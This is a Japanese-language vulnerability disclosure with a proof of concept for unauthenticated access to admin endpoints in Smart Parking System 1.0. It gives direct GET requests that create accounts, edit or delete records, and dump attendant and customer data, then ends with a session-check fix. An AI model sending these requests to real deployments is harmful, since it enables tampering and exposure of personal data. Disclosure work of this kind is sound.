
Smart Parking System 1.0における重要な管理者機能への未認証アクセスを実証する概念実証であり、アカウント作成、データ改ざん、PII(個人識別情報)の露出を可能にします。
| フィールド | 詳細 |
|---|
| 製品 | Smart Parking System |
| ベンダー | code-projects.org |
| バージョン | 1.0 |
| 脆弱性クラス | 重要な機能に対する認証欠如 (CWE-306) |
| CVE ID | 未確定 |
| CVSS スコア | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 必要な認証 | なし |
| 影響を受けるファイル | attendant.php、edit.php、basic_table.php、basic_table2.php、admin_request.php |
code-projects.org 製の Smart Parking System 1.0 は、複数の管理者専用エンドポイントで認証を強制できていません。認証されていないリモート攻撃者は、セッション Cookie なしでこれらのエンドポイントに直接アクセスし、係員アカウントの作成、駐車レコードの編集・削除、全顧客の個人情報および予約データの閲覧などの特権操作を実行できます。
この脆弱性を悪用するために、認証情報、セッショントークン、正規ユーザーによる操作は一切必要ありません。
認証情報なし / セッションなし
↓
管理者エンドポイントへの直接 GET リクエスト
↓
attendant.php → 不正な係員アカウントを作成
edit.php → 任意の駐車レコードを読み取り・上書き
basic_table.php → 任意の駐車レコードを削除
basic_table2.php → 全係員の個人情報を取得
admin_request.php → 全顧客のメールアドレスと予約データを取得
↓
管理者機能の完全な侵害
Cookie のない新しいブラウザセッションを開きます。アプリケーションのルートに移動します。アクティブなセッションがないことを確認するログインページが表示されます:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/ HTTP/1.1
Host: 192.168.0.9
係員登録エンドポイントに直接移動します:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/attendant.php HTTP/1.1
Host: 192.168.0.9
結果: 名、姓、携帯番号、通り、ユーザー名、パスワードのフィールドを持つ完全な「駐車係員詳細の追加」フォームが読み込まれます。攻撃者はシステムアクセス権を持つ不正な係員アカウントを登録できます。
駐車レコード編集エンドポイントに直接移動します:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//edit.php?edit=5 HTTP/1.1
Host: 192.168.0.9
結果: ライブのデータベース値が事前に入力された「駐車詳細の更新」フォームが読み込まれます:
City: Mombasa
Street: Tudor
Slots: 150
Cost: 500
攻撃者は任意のフィールドを上書きして送信し、変更をデータベースに直接反映させることができます。
削除エンドポイントに直接 GET リクエストを送信します:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE/basic_table.php?delete=4 HTTP/1.1
Host: 192.168.0.9
結果: アプリケーションは次のように応答します:
Parking deleted successfully
レコードはデータベースから完全に削除されます。認証、CSRF トークン、確認プロンプトは一切不要です。
係員一覧エンドポイントに直接移動します:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//basic_table2.php HTTP/1.1
Host: 192.168.0.9
結果: 名前、携帯番号、割り当てられた通りを含む全係員の名簿が返されます:
karis kelvin 070824555 msa
king doshi 0708009360 Nairobi
james peter 0708009360 vol
tset test 0708009360 tset
管理者の予約リクエストエンドポイントに直接移動します:
GET /SMART_PARKING_SYSTEM_IN_PHP_WITH_SOURCE_CODE//admin_request.php HTTP/1.1
Host: 192.168.0.9
結果: メールアドレス、スロット数、時間、料金を含む全顧客の予約レコードが返されます:
[email protected] slots:4 hours:2 cost:4000 status:requested
[email protected] slots:1 hours:6 cost:1200 status:Completed
[email protected] slots:1 hours:2 cost:1000 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:1 cost:500 status:requested
[email protected] slots:1 hours:3 cost:0 status:requested
[email protected] slots:1 hours:2 cost:1000 status:requested
| ファイル | 脆弱性 |
|---|---|
attendant.php | 認証なしでの係員アカウント作成 |
edit.php | 認証なしでの駐車レコードへの読み取り・書き込みアクセス |
basic_table.php | 認証なしでの駐車レコードの削除 |
basic_table2.php | 認証なしでの全係員の個人情報へのアクセス |
admin_request.php | 認証なしでの全顧客の予約データへのアクセス |
すべての管理者向け PHP ファイルの先頭にセッション認証チェックを追加します:
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
header("Location: index.php");
exit();
}